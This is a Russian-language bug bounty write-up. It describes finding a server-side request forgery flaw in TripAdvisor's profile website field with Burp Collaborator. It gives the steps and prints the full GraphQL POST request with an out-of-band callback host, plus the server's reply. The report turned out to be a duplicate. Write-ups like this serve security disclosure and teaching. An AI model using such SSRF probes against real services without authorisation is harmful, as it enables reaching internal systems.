Сломанный контроль доступа (BAC) ›Подделка серверных запросов (SSRF)

Что такое ССРФ ?!

Подделка запросов на стороне сервера (SSRF) - это эксплойт, используемый для атаки на внутренние системы за брандмауэрами, недоступные из внешних сетей. SSRF предназначен для доступа к внутренним службам, таким как SSH, Local-Host, FTP и другим. Сценарий SSRF будет заключаться в том, чтобы заставить сервер установить соединение только с внутренними сервисами в инфраструктуре организации.

Вступление:

Тестируя TripAdvisor на наличие уязвимостей и ошибок, я обнаружил, что он уязвим для SSRF. Я обнаружил эту уязвимость с помощью функции Collaborator Burp Suite. Что такое Burp Collaborator? Burp Collaborator - это сетевая служба, которую Burp Suite использует для обнаружения многих видов уязвимостей. Например. Некоторые уязвимости, связанные с внедрением, могут быть обнаружены с помощью полезных нагрузок, которые запускают взаимодействие с внешней системой при успешном внедрении.

Вот как я это сделал:

  1. Откройте Burp Suite ›Меню Burp› Клиент Burp Collaborator и выберите «Клиент Burp Collaborator»
  2. Щелкните там, где написано «Копировать в буфер обмена», это скопирует полезную нагрузку, необходимую для использования веб-приложения, например: `jhggfwo94wu094ctrtrstwrvterwt0tvwg.burpcollaborator.net`

3. Вставьте полезные данные клиента Collaborator в поле веб-сайта, как показано ниже, и отправьте запрос.

4. Используйте функцию «Опрос сейчас», чтобы получить подробную информацию о любых сетевых взаимодействиях, связанных с полезной нагрузкой.

5. Ждал волшебства.

Запрос Http:

POST /data/graphql/batched HTTP/1.1
Host: www.tripadvisor.com
User-Agent: Mozilla/5.0 
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
Origin: https://www.tripadvisor.com
Content-Length: 1520
Connection: close
[{"operationName":"EditProfile","variables":{"userId":"9A9A11C7013E070C233A82C19CC97D78","displayName":null,"username":null,"bio":null,"hometown":null,"website":"e3i57wj14co4lyphm5kwqx8xjoped3.burpcollaborator.net","acceptedToU":true}]

Ответ Http:

RESPONSE
HTTP/1.1 200 OK
Server: Apache
Pragma: no-cache
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT DSP COR CAO PSA IDC ADM DEVi TAIi PSD IVAi IVDi CONi HIS CNT"
Cache-Control: no-cache, no-store, must-revalidate
Timing-Allow-Origin: https://www.tripadvisor.com
Vary: Accept-Encoding
Content-Length: 2089
Content-Type: application/json
Date: Mon, 21 Sep 2020 17:54:47 GMT
Connection: close


[{"data":{"updateMemberProfile":{"statuses":["OK"],"memberProfile":{"userId":"9A9A11C70C97D78","avatar":{"id":********,"photoSizes":[{"url":"https://dynamic-media-cdn.tripadvisor.com/media/photo-o/1a/f6/e7/99/default-avatar-2020-57.jpg?w=100&h=100&s=1","width":0,"height":0,"__typename":"PhotoSize"},{"url":"https://media-cdn.tripadvisor.com/media/photo-t/99/default-avatar-2021-75.jpg"}]

Ответ соавтора:

Отчет:

А вот и самая интересная часть этой статьи.

Как только я увидел эти журналы, я сказал себе: «Да, я богат!». Ну ладно, не совсем. Прочитав их ответ, вы поймете, что я слишком рано обрадовался. Кто-то еще несколько лет назад прислал такой же отчет. Их ответ застал меня врасплох, потому что это была нелегкая находка. Эксплойт стал возможен только при тщательном изучении каждого отдельного ответа / запроса от веб-приложения, чтобы найти поле для добавления вашей полезной нагрузки и надеяться на ответ.

Награда:

Глядя на фото выше, вы можете увидеть результат этого отчета. Честно говоря, получение 1 балла в качестве «награды» не было тем, к чему я стремился, когда отправлял этот отчет. Но что-то лучше, чем ничего, не так ли ?!

Резюме

Хоть я и не получал никаких наград за свою работу, но из этого получилось что-то хорошее - опыт. Теперь я знаю, какие конечные точки использовать и для чего. Никогда не позволяйте такому исходу обескураживать вас. Дубликаты означают, что вы сделали что-то ценное, вы сделали это за кем-то другим, но вы сделали это.